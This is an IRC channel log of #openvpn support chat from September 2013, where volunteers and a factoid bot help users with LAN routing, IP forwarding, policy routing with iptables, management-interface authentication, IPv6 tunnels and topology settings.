11:14 < Blok> EugeneKay: Server log, verb 3 (best I can do for now): http://pastebin.com/Xy7kARzd
11:18 <@krzee> Blok,
11:18 <@krzee> when you say "I cannot reach the subnet of the server" do you mean the server's lan subnet?
11:19 < Blok> krzee: yes! sorry about the confusion
11:19 <@krzee> !serverlan
11:19 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:19 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:20 <@krzee> use #3
11:20 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 246 seconds]
11:20 -!- rugmi [~cute_girl@24.30.125.153] has joined #openvpn
11:20 -!- rugmi [~cute_girl@24.30.125.153] has left #openvpn []
11:20 -!- rugmi [~cute_girl@24.30.125.153] has joined #openvpn
11:20 -!- rugmi [~cute_girl@24.30.125.153] has left #openvpn []
11:21 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 260 seconds]
11:21 -!- folivora [~out@46.19.34.64] has joined #openvpn
11:22 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
11:32 -!- rugmi [~cute_girl@24.30.125.153] has joined #openvpn
11:34 < rugmi> hi, i am trying to forward a specific device's traffic on my wifi router to openvpn server. The traffic gets forwarded to the server but the source IP of the packets is external interface IP of my router rather than that of tun0(openvpn). When I list iptable rules, I see that my SNAT rule counters are zero. Can someone please tell me why my source IP is not getting changed?
11:38 -!- rugmi [~cute_girl@24.30.125.153] has quit [Read error: Connection reset by peer]
11:40 -!- rugmi [~cute_girl@24.30.125.153] has joined #openvpn
11:42 < Blok> krzee: How come my other client works?
11:43 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 248 seconds]
11:44 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
11:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:47 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
11:48 <@krzee> Blok, is that really the concern?
11:48 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
11:49 <@krzee> Blok, did you finish working through the flowchart?
11:50 <@krzee> rugmi, sounds like maybe an earlier nat rule is already changing the ip to external ip
11:51 <@krzee> since it sounded like the device was on lan and you say its showing up as external ip
11:51 <@krzee> maybe try specifying source subnet on your nat rules?
11:53 < rugmi> well I thought so too, thats why I tried to add it as the first rule using "iptables -I POSTROUTING 1 -t nat -o tun0 -j SNAT 10.8.0.2" (10.8.0.2 is tun0 ip address on my router's end)
11:53 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
11:53 < rugmi> then since that did not work, I also tried to add specific source IP address of my device in the command aobve
11:54 < Blok> krzee: No not really, just that I did not manage with the flow chart. I beleive that "fix ip forwarding in your firewall" is my problem then, but I do not see how
11:54 <@krzee> Blok,
11:54 <@krzee> !linipforward
11:54 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:54 <@krzee> on your server
11:54 <@krzee> Blok, use the flowchart to find where you get stuck so we can help you easier =]
11:55 < rugmi> i already have an iptables rule that marks all packets coming from a specific MAC address. These marked packets are routed using a custom route table "openvpn-route" where default router is to dump it on dev tun0
11:55 <@krzee> instead of having to ask you my normal sequence of questions, i made that so we can be lazy
11:55 <@krzee> since it's often the same questions
11:55 <@krzee> :x
11:56 <@krzee> rugmi, why dont you just set the machines default route?
11:56 < Blok> krzee: ip_forwarding is already turned on, sadly
11:56 <@krzee> Blok, read the entire factoid, especially #3
11:57 < rugmi> what i am trying to do is, on my wifi router, traffic coming from a specific laptop is forwarded over openvpn to server. Rest of the devices get routed normally
11:58 <@krzee> ahh, policy routing
11:59 -!- rugmi1 [~cute_girl@24.30.125.153] has joined #openvpn
11:59 <@krzee> funny thing is, it has nothing to do with openvpn ;]
11:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:59 < rugmi1> i had got disconnected
11:59 < rugmi1> did i miss something
11:59 <@krzee> yep
11:59 <@krzee> it is called policy routing
11:59 <@krzee> and it has nothing to do with openvpn really
11:59 <@krzee> once you are able to ping over the vpn, the rest is just networking
11:59 <@krzee> !splitroute
11:59 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
11:59 <@krzee> !nat
11:59 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
11:59 <@krzee> you want a combo of those 2 things
12:00 -!- rugmi [~cute_girl@24.30.125.153] has quit [Remote host closed the connection]
12:00 < rugmi1> i understand, i was just trying to see where am i mistaking in the iptables rules
12:00 <@krzee> a ip rule stating that traffic from IP $machine goes out via routing table #2 which will have a default route going over the vpn
12:00 < rugmi1> i already have that rule
12:00 <@krzee> try ##netfilter
12:01 <@krzee> err #netfilter
12:01 <@krzee> the iptables help channel
12:01 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
12:01 < rugmi1> Perhaps my earlier messages got missed, but i have a custom route table "openvpn-route"
12:01 < rugmi1> defaul route in that table is to forward over tun0 (openvpn)
12:01 < rugmi1> ok
12:01 <@krzee> that is good
12:02 <@krzee> i will try to help you in there
12:02 < rugmi1> ok thanks, i will ask this there
12:02 <@krzee> but im sure theres more in there who know
12:02 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
12:02 <@krzee> (better than i)
12:02 < rugmi1> yes, thanks
12:02 < xdarklight> evening, is anyone here responsible for "swupdate.openvpn.net"? the debian wheezy stable repo seems to be broken: http://paste.kde.org/pa7286985/
12:03 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
12:04 <@krzee> xdarklight, i forwarded that to the dev channel, if i get a response i'll send it here (unless someone responds here)
12:04 < xdarklight> krzee: thank you
12:05 -!- rugmi [~cute_girl@24.30.125.153] has joined #openvpn
12:06 -!- rugmi1 [~cute_girl@24.30.125.153] has quit [Remote host closed the connection]
12:08 <@krzee> yw
12:08 < Skapare> OK, so I have to run a separate openvpn process for each server a client will connect to ... but I don't need to use separate ports because each server is a separate host, and clients use random source ports by default
12:09 <@krzee> your client want nobind
12:09 <@krzee> but ya
12:12 -!- Sazpaimon [wat@96.227.217.235] has quit [Changing host]
12:12 -!- Sazpaimon [wat@unaffiliated/Sazpaimon] has joined #openvpn
12:12 -!- Bretos1 is now known as BretosWeeC
12:16 < Blok> krzee: I cannot add a iptables forward on the server. However I can see packets coming in from source X.2 to dest X.1. Do I need a forward for that?
12:16 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Ping timeout: 248 seconds]
12:16 < Blok> krzee: (It is an appliance with a layer of config (Vyatta) on top that will scream if I bypass it)
12:17 <@krzee> sorry dude i cant help you with that
12:18 <@krzee> maybe someone else can
12:18 -!- rugmi [~cute_girl@24.30.125.153] has quit [Ping timeout: 264 seconds]
12:25 < Blok> krzee: Thanks for the help. I am closer to finding the issue
12:30 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
12:39 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
12:41 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
13:01 <@krzee> but if you can not reach the lan ip, and you pushed the correct route to clients, then its ip forwarding
13:01 <@krzee> yw
13:03 -!- BarthezZ_ [~bart@monitoring.deheij-ict.nl] has quit [Ping timeout: 276 seconds]
13:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:14 -!- JAVACODER [~JAVACODER@5.238.69.169] has joined #openvpn
13:14 < mist__> men mornin, or evnin
13:18 -!- BarthezZ [~bart@monitoring.deheij-ict.nl] has joined #openvpn
13:26 -!- Blok [~Blok@unaffiliated/blok] has left #openvpn []
13:30 -!- ihre [~ihre@unaffiliated/ihre] has quit [Read error: Connection reset by peer]
13:30 -!- ihre [~ihre@86.86.252.187] has joined #openvpn
13:30 -!- ihre [~ihre@86.86.252.187] has quit [Changing host]
13:30 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
13:31 -!- p3rror [~mezgani@41.249.150.211] has quit [Ping timeout: 248 seconds]
13:33 -!- smw [~smw@unaffiliated/smw] has joined #openvpn
13:37 < smw> Hi all, I am trying to setup a running service that gives ip addresses to newly connecting clients through the management interface. I enabled management-client-auth in the server config but now I get the following in my logs:
13:37 < smw> Sep 22 11:36:58 india ovpn-server[13112]: 127.0.0.1:46797 TLS Error: Auth Username/Password was not provided by peer
13:37 < smw> Sep 22 11:36:58 india ovpn-server[13112]: 127.0.0.1:46797 TLS Error: TLS handshake failed
13:38 < smw> Is there any way to not require a user/pass? How can I send a fake user/pass so I can still authenticate this way?
13:38 -!- ihre [~ihre@unaffiliated/ihre] has quit [Read error: Connection reset by peer]
13:38 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
13:55 < mist__> smw: have a file with username and password and then add it to ur config
13:55 < EugeneKay> !noauth
13:58 < smw> Are openvpn scripts called multithreaded?
14:00 <@krzee> no
14:00 <@krzee> plugins are seperate thread, scripts block
14:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:01 < smw> krzee, what does that mean?
14:02 < smw> krzee, what I am hoping is that only one client-connect script runs at a time, is this the case?
14:02 < smw> mist__, how do I add it to my config. My searches for user/pass end up with user/group of  the process :-\
14:05 -!- Briareos1 [~quassel@r201-217-140-250.ir-static.anteldata.net.uy] has joined #openvpn
14:13 < mist__> although i do not recommend it as it involves having username and password in cleartext you can write them to a file, username on the first and password on the second and then add the following to config: auth-user-pass /home/user/txtfile
14:13 < smw> mist__, I don't actually want a username and password
14:14 < smw> mist__, I want to create ccd files on the fly through the management interface
14:14 < smw> but doing this seems to require also authing passwords...
14:15 < smw> doing this from the management interface allows me to have a daemon that assigns ip addresses based on common-name
14:16 < smw> this means a single daemon with no race conditions. If I use a client-connect script and it is run concurrent, it might assign the same IP to two clients.
14:16 < smw> run concurrently*
14:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
14:28 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
14:30 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:30 -!- mode/#openvpn [+v s7r] by ChanServ
14:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:03 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:19 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has quit [Ping timeout: 245 seconds]
15:30 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has joined #openvpn
15:35 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has quit [Ping timeout: 264 seconds]
15:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
15:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:58 -!- bgy [~bgy@87-98-185-83.kimsufi.com] has left #openvpn ["Leaving"]
16:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
16:32 -!- Devastatr [~devas@186.214.110.147] has joined #openvpn
16:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
16:37 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
16:41 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
16:41 < NEone> !welcome
16:41 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:41 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:41 < NEone> !goal
16:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:45 < NEone> Hi. I would like to install openvpn server on Ubuntu 12.04 (precise) amd64 server. Should I just apt-get install openvpn (which will give me an old version), or should I download and compile using the tarball, or should I use "Access-Server" (whatever that is), or is there a repo I can add to /etc/apt/sources.list ?
16:51 -!- Devastatr [~devas@186.214.110.147] has quit [Changing host]
16:51 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
16:51 -!- Devastatr is now known as Devastator
17:08 < NEone> ok, downloading the .tar.gz and extracted. Now the documentation says lzo compression is disabled by default. How can I enable it? Should I try ./configure disable-lzo=no ? Or will this not work?
17:13 < Skapare> TIAS/LUK
17:13 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has left #openvpn ["Leaving"]
17:16 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
17:16 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
17:18 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:22 -!- klein [~klein@177.101.119.158] has joined #openvpn
17:22 -!- klein [~klein@177.101.119.158] has quit [Changing host]
17:22 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:35 -!- lmartin92 [~quassel@WiseOS/Builder/lmartin92] has quit [Remote host closed the connection]
17:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
17:54 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:55 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
18:12 < Skapare> Does anyone think tls-auth is still an advantage in AWS with security-groups only allowing specific client IPs ?
18:17 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
18:20 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
18:24 < toothe> hm..thinking of stting up IPv6 on this openvpn network
18:24 < toothe> just need to figure out how to do that.
18:26 < EugeneKay> 2.3 and the v6 options
18:27 < toothe> openvpn --version doesn't work...
18:28 < toothe> yah, how do you list the version? I don't ovenly see the options
18:29 < EugeneKay> !man
18:29 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
18:33 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
18:59 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
19:04 -!- newbie|2 [~tjz@cm-110-171-182-222.revip7.asianet.co.th] has joined #openvpn
19:06 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
19:14 -!- Briareos1_ [~quassel@184.75.214.202] has joined #openvpn
19:15 -!- Briareos1 [~quassel@r201-217-140-250.ir-static.anteldata.net.uy] has quit [Ping timeout: 248 seconds]
19:21 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
19:23 -!- smw [~smw@unaffiliated/smw] has quit [Ping timeout: 260 seconds]
19:24 -!- Netsplit *.net <-> *.split quits: Laverne, cj, Fiouz_, [fred], Nothing4You, SlutaTramsa, Sorcier_FXK, +pekster, MacGyver, Fohlen,  (+14 more, use /NETSPLIT to show all of them)
19:25 -!- smw [~smw@unaffiliated/smw] has joined #openvpn
19:26 -!- Netsplit over, joins: jefferai
19:28 -!- RichiH [~richih@freenode/staff/richih] has joined #openvpn
19:28 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
19:30 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
19:32 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
19:33 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
19:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
19:39 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
19:40 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
19:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:04 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
20:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
20:07 -!- Briareos1_ [~quassel@184.75.214.202] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
20:10 -!- BtbN [znc@btbn.de] has joined #openvpn
20:20 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
20:40 -!- jtrucks_ is now known as jtrucks
20:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
21:00 -!- dr_Casper [~ircap@209-203-71-82.static.twtelecom.net] has quit [Ping timeout: 260 seconds]
21:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
21:17 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
21:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
21:17 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
21:17 -!- andrusha97_ [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
21:17 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
21:17 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
21:17 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
21:17 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
21:17 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has joined #openvpn
21:17 -!- [fred] [fred@konfuzi.us] has joined #openvpn
21:17 -!- rtbt [carrot@unaffiliated/tommehm] has joined #openvpn
21:17 -!- Husar [~Husar@2a01:4f8:161:1e4::2] has joined #openvpn
21:17 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
21:17 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
21:17 -!- ServerMode/#openvpn [+v pekster] by brooks.freenode.net
21:17 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
21:17 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
21:21 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:25 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
21:43 -!- JAVACODER [~JAVACODER@5.238.69.169] has left #openvpn ["JAVACODER"]
21:49 < toothe> gah! I can't find an IPv6 example configuration file
21:50 <+pekster> IPv6 over the tunnel, or IPv6 as the tunnel's transport?
21:51 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
21:51 < toothe> over the tunnel
21:51 < toothe> sorry, the latter
21:52 < toothe> err...why do I keep misreading you? the former.
21:55 <+pekster> Simple enough: here's what I do: http://paste.kde.org/p3444d1a4/37990489/
21:55 < toothe> i love how your past used 2001:db8
21:56 <+pekster> That's RFC for documentation
21:57 < toothe> yep
21:57 <+pekster> You might enjoy the RFC reference in this tidbit too:
21:57 <+pekster> !topsecret
21:57 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
21:57 <+pekster> #2
21:58 < toothe> awesome
21:58 -!- xrosnight [~quassel@218.17.62.46] has joined #openvpn
21:58 < toothe> I'm setting up OpenVPN for a small business and figured...why the hell not use IPv6?
22:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
22:17 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
22:29 -!- xrosnight [~quassel@218.17.62.46] has quit [Quit: No Ping reply in 180 seconds.]
22:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 256 seconds]
22:29 -!- xrosnight [~quassel@218.17.62.46] has joined #openvpn
22:38 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has joined #openvpn
22:38 < The_Ball> When running openvpn server in tun mode, can there only be one client connected at a time?
22:40 < Skapare> you can have many clients connecting to one server ... there is a command to let you limit the number
22:40 < Skapare> config command
22:40 < The_Ball> Ok, that's what I tought
22:40 < Skapare> that's what I found by reading the docs
22:44 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
22:45 -!- Carbon_Monoxide [~cmonxide@14.0.143.203] has joined #openvpn
22:46 -!- Carbon_Monoxide [~cmonxide@14.0.143.203] has quit [Client Quit]
22:46 < The_Ball> aha, it is the --topology mode net30 that is confusing me
22:47 < The_Ball> Couldn't figure out why a windows client was getting a /30 subnet
22:47 <+pekster> !/30
22:47 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
22:47 <+pekster> There's no point for it unless you're using <=2.0.9 under Windows
22:47 <+pekster> That version on Linux can use PtP fine, and >=2.1 supports subnet
22:48 < The_Ball> oh, I see, shouldn't the default be updated then?
22:48 <+pekster> "Eventually"
22:49 <+pekster> (apparently the worry is breaking backwards-compatability. Or something.)
22:50 < The_Ball> I see, thanks for the info
22:51 < The_Ball> btw OpenVPN rocks
22:53 <+pekster> Here's the "fix" to the quite-outdated topology default, if you really feel compelled ;) http://paste.kde.org/pdfcf98f9/raw/
22:54 <+pekster> (nevermind the git checksum: that's bassed on a patch branch in my local repo that isn't in -master yet)
22:55 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
22:59 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
23:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:37 -!- xrosnight [~quassel@218.17.62.46] has quit [Ping timeout: 264 seconds]
--- Day changed Mon Sep 23 2013
00:26 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
00:27 < Skapare> if circumstances call for generating a new CA ... should I also generate new DH parameters ?
00:52 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:53 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
00:53 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
01:11 -!- xrosnight [~quassel@218.17.62.46] has joined #openvpn
01:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:38 -!- [ilin] [~ilin@unaffiliated/ilin] has joined #openvpn
01:45 -!- master_of_master [~master_of@p4FF24F22.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
01:49 -!- master_of_master [~master_of@p4FD7B470.dip0.t-ipconnect.de] has joined #openvpn
02:04 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
02:15 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:43 < Skapare> looks like I do not need to generate DH parameters again even when I need to make a new CA
02:48 -!- smw [~smw@unaffiliated/smw] has quit [Remote host closed the connection]
02:51 -!- jonascj [~jonas@emp.sdu.dk] has joined #openvpn
02:52 < jonascj> !welcome
02:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:52 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:55 < jonascj> Hi all. I am trying to setup openvpn on an Ubuntu machine. The end goal is to give clients a secure connection to a 192.168.122.0/24 virtual network (setup by KVM/libvirt for virtual machines). This network exist on the machine which will be the vpn server.
02:57 < jonascj> and I am not experienced enough to figure out which routes to push, which dhcp pool the vpn server should use etc.
02:58 < jonascj> !howto
02:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
03:16 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
03:47 -!- Carbon_Monoxide [~cmonxide@14.0.143.54] has joined #openvpn
03:48 -!- Carbon_Monoxide [~cmonxide@14.0.143.54] has left #openvpn []
03:51 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
04:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 240 seconds]
04:09 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:09 -!- xrosnight [~quassel@218.17.62.46] has quit [Changing host]
04:09 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
04:17 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:21 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:32 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
04:32 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
04:47 -!- newbie|2 [~tjz@cm-110-171-182-222.revip7.asianet.co.th] has quit [Ping timeout: 264 seconds]
04:55 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:59 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Ping timeout: 248 seconds]
05:00 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
05:05 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
05:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
05:07 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
05:09 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
05:21 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
05:21 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
05:24 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
05:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:33 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
05:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:03 < jonascj> !paste
06:03 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
06:04 < jonascj> !config
06:04 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
06:04 < jonascj> !configs
06:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
06:22 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
